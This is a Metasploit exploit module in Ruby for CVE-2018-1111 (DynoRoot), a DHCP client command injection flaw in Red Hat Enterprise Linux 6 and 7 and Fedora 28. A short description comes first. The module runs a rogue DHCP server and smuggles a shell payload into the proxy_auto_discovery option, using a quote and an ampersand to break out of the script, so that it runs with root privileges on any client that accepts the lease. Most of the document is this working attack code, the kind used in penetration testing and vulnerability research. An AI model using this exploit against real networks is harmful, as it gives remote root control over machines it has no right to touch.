This Metasploit module exploits the DynoRoot vulnerability, a flaw in how the NetworkManager integration script included in the DHCP client in Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier processes DHCP options. A malicious DHCP server, or an attacker on the local network able to spoof DHCP responses, could use this flaw to execute arbitrary commands with root privileges on systems using NetworkManager and configured to obtain network configuration using the DHCP protocol.
5260d2ef5bb8f8bbc5edbc0ec7cb7c67##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::DHCPServer
def initialize(info = {})
super(update_info(info,
'Name' => 'DHCP Client Command Injection (DynoRoot)',
'Description' => %q{
This module exploits the DynoRoot vulnerability, a flaw in how the
NetworkManager integration script included in the DHCP client in
Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier
processes DHCP options. A malicious DHCP server, or an attacker on
the local network able to spoof DHCP responses, could use this flaw
to execute arbitrary commands with root privileges on systems using
NetworkManager and configured to obtain network configuration using
the DHCP protocol.
},
'Author' =>
[
'Felix Wilhelm', # Vulnerability discovery
'Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>' # Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => true,
'References' =>
[
['AKA', 'DynoRoot'],
['CVE', '2018-1111'],
['EDB': '44652'],
['URL', 'https://github.com/kkirsche/CVE-2018-1111'],
['URL', 'https://twitter.com/_fel1x/status/996388421273882626?lang=en'],
['URL', 'https://access.redhat.com/security/vulnerabilities/3442151'],
['URL', 'https://dynoroot.ninja/'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1111'],
['URL', 'https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1111']
],
'Targets' => [ [ 'Automatic Target', { }] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 15 2018'
))
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL', 'FILENAME')
end
def exploit
hash = datastore.copy
start_service(hash)
@dhcp.set_option(proxy_auto_discovery: "#{Rex::Text.rand_text_alpha(6..12)}'&#{payload.encoded} #")
begin
while @dhcp.thread.alive?
sleep 2
end
ensure
stop_service
end
end
end